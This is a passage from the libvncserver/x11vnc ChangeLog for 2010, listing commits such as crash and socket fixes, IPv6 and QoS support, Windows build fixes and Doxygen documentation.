x11vnc/unixpw.c, x11vnc/user.c, x11vnc/util.h, x11vnc/v4l.c,
x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h,
x11vnc/xrecord.c, x11vnc/xrecord.h, x11vnc/xwrappers.c: x11vnc:
touchscreen uinput support and Java viewer mousewheel support. See
x11vnc/ChangeLog for rest.
2010-12-01 Tobias Doerffel <>
* libvncserver/sockets.c: libvncserver sockets: check cl->screen
before accessing it In commit 079394ca5b14d8067b95a9cf95a834828b4425a6 new code with
insufficient checks was introduced causing a segfault when doing a
HTTP server connection. Such connections have no screen set in the
client data structure. Signed-off-by: Tobias Doerffel <>
2010-11-30 Christian Beier <>
* Doxyfile: Doxygen documentation: actually add Doxyfile.
2010-11-29 Johannes Schindelin <>
* index.html, success.html: The website is now maintained
independently Signed-off-by: Johannes Schindelin <>
2010-11-18 Christian Beier <>
* client_examples/SDLvncviewer.c, client_examples/backchannel.c,
client_examples/ppmtest.c, client_examples/vnc2mpg.c,
examples/backchannel.c, examples/camera.c, examples/example.c,
examples/filetransfer.c, examples/pnmshow.c, examples/pnmshow24.c,
examples/vncev.c, rfb/rfb.h, rfb/rfbclient.h, rfb/rfbproto.h: Add
doxygen documentation support. Adds automagically generating libvncserver/libvncclient API documentation using doxygen. This gives a nice overview on both
APIs, include dependencies and function call/caller
dependencies. TODO: Modify all the explaining comments in the .c files for use
with doxygen as well. This patch only changes comments, no functional changes at all! Signed-off-by: Christian Beier <>
2010-11-18 Christian Beier <>
* libvncserver/main.c: libvncserver: fix endless loop when server
closed client in threaded mode. Signed-off-by: Christian Beier <>
2010-11-18 Christian Beier <>
* libvncserver/sockets.c: libvncserver sockets: favor per-screen
maxclientwait over global one when set. Signed-off-by: Christian Beier <>
2010-11-11 Christian Beier <>
* libvncserver/rfbserver.c, libvncserver/stats.c, rfb/rfbproto.h:
libvncserver cleanup: remove rfbKeyFrame remnants.
2010-11-02 Christian Beier <>
* libvncclient/rfbproto.c, libvncserver/main.c,
libvncserver/rfbserver.c, libvncserver/stats.c, rfb/rfb.h,
rfb/rfbclient.h, rfb/rfbproto.h: libvnc[server|client]: implement
xvp VNC extension. This implements the xvp VNC extension, which is described in the
community version of the RFB protocol: It is also
mentioned in the official RFB protocol.
2010-10-28 Tobias Doerffel <>
* libvncserver/main.c: Added missing initialization of extension
mutex When not calling rfbRegisterProtocolExtension() the extension mutex
is uninitialized but used upon calling rfbGetExtensionIterator() and
rfbReleaseExtensionIterator() in rfbNewTCPOrUDPClient(). This causes
libvncserver to crash on Win32 when building with thread support. Signed-off-by: Tobias Doerffel <>
Signed-off-by: Christian Beier <>
2010-10-21 Christian Beier <>
* libvncclient/rfbproto.c, rfb/rfbproto.h: Only define strncasecmp
to _strnicmp when using MS compiler. Redefining strncasecmp to _strnicmp makes libvncclient hang forever
in SetFormatAndEncodings() on Windows when built with MinGW64. Reported by Tobias Doerffel <>, thanks!
2010-10-20 Tobias Doerffel <>
* libvncserver/rfbserver.c: In rfbSendDirContent() we have to make
sure to call closedir() before returning. This did not happen if
rfbSendFileTransferMessage() failed. Signed-off-by: Christian Beier <>
2010-10-20 Christian Beier <>
* libvncclient/sockets.c: Fix build failure wrt IP QoS support in
libvncclient. This is a small addendum to
0797e42a4aaf8131ae71899faea2d682ed81cb59. Seems that having IPv6
support in the OS does not necessarily mean that IPV6_TCLASS is
available. One such case seems to be Mac OS X 10.5.
2010-02-09 Vic Lee <>
* libvncclient/sockets.c: Avoid 100% CPU usage when calling
ReadFromRFBServer and no available bytes to read Signed-off-by: Vic Lee <> Signed-off-by: Christian
Beier <>
2010-10-08 Christian Beier <>
* rfb/rfbproto.h: rfb/rfbproto.h: Prefix WORDS_BIGENDIAN when it is
defined. Some (all?) autotool versions do not properly prefix WORDS_BIGENDIAN
with LIBVNCSERVER_, so do that manually here. Thanks to Lorenz Kolb for reporting.
2010-09-29 Christian Beier <>
* TODO, libvncclient/rfbproto.c, libvncclient/sockets.c,
libvncclient/vncviewer.c, rfb/rfbclient.h: IP QoS support in
libvncclient. This enables setting the DSCP/Traffic Class field of IP/IPv6 packets
sent by a client. For example starting a client with -qosdscp 184
marks all outgoing traffic for expedited forwarding. Implementation for Win32 is still a TODO, though. See an overview of the Win32 QoS API mess...
2010-09-07 Christian Beier <>
* TODO, libvncclient/sockets.c, libvncserver/httpd.c,
libvncserver/rfbserver.c, libvncserver/sockets.c, rfb/rfb.h:
Non-blocking sockets for Windows. Expands the SetNonBlocking() function in libvncclient/sockets.c to
also work under Windows and also changes it to honour maybe already
present socket flags. A similar function was introduced for libvncserver as well and all
the #ifdef'ed fnctl calls replaced with calls to that one. Signed-off-by: Christian Beier <>
2010-09-06 Christian Beier <>
* libvncserver/main.c, libvncserver/rfbserver.c,
libvncserver/scale.c: Cleanup: remove CORBA stuff. The header file and most of the functions referred to do not exist
in libvncserver. Signed-off-by: Christian Beier <>
2010-09-10 runge <>
* classes/ssl/ss_vncviewer,
classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: update
classes/ssl jars, patches, and script
2010-09-10 runge <>
*, x11vnc/8to24.c, x11vnc/ChangeLog,
x11vnc/, x11vnc/README, x11vnc/avahi.c, x11vnc/avahi.h,
x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/help.c,
x11vnc/inet.c, x11vnc/keyboard.c, x11vnc/misc/,
x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c,
x11vnc/pointer.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/tkx11vnc,
x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c,
x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xwrappers.c: update
to x11vnc 0.9.12
2010-09-06 Christian Beier <>
* libvncclient/rfbproto.c, libvncserver/tight.c: Fix MinGW32
compilation with libjpeg. MinGW32 (or more exactly, a rpcndr.h file included by winsock2.h)
typedefs a 'boolean' type that jmorecfg.h included by jpeglib.h also
tries to typedef. So, tell the jpeg headers. Closes: 3007302
2010-07-11 Christian Beier <>
*, libvncclient/sockets.c: Fix MinGW32 checking for
IPv6. Signed-off-by: Christian Beier <>
Signed-off-by: Johannes Schindelin <>
2010-06-29 Vic Lee <>
*, libvncclient/rfbproto.c, libvncclient/sockets.c,
rfb/rfbclient.h: libvncclient: add ipv6 support [jes: pulled the "host" declarations into the conditionally compiled
blocks where that variable is used. Also fixed non-IPv6
connections.] Signed-off-by: Vic Lee <> Signed-off-by: Johannes
Schindelin <>
2010-05-31 Wouter Van Meir <>
* libvncclient/vncviewer.c: Call MallocFrameBuffer before
SetFormatAndEncodings The hook is still called after InitialiseRFBConnection() so we can
choose the color settings depending on the vnc server (or settings)
in that hook. This way one can use the "VNC server default format" pixelformat if
the client supports it, or perform a workaround (Intel AMT KVM
"classic vnc" server only works using 8bit colors in RFB3.8) Signed-off-by: Wouter Van Meir <>
Signed-off-by: Johannes Schindelin <>
2010-05-19 Christian Beier <>
* libvncserver/main.c, libvncserver/rfbserver.c, rfb/rfb.h:
Implement a DisplayFinishedHook for libvncserver. If set, this hook gets called just before rfbSendFrameBufferUpdate()
returns. Signed-off-by: Christian Beier <>
2010-05-08 runge <>
* ChangeLog, libvncclient/rfbproto.c: libvncclient:
rfbResizeFrameBuffer should also set updateRect.
2010-05-08 runge <>
*, x11vnc/ChangeLog, x11vnc/README,
x11vnc/connections.c, x11vnc/screen.c, x11vnc/unixpw.c,
x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: tweaks to set cd->unixname in apply_opts().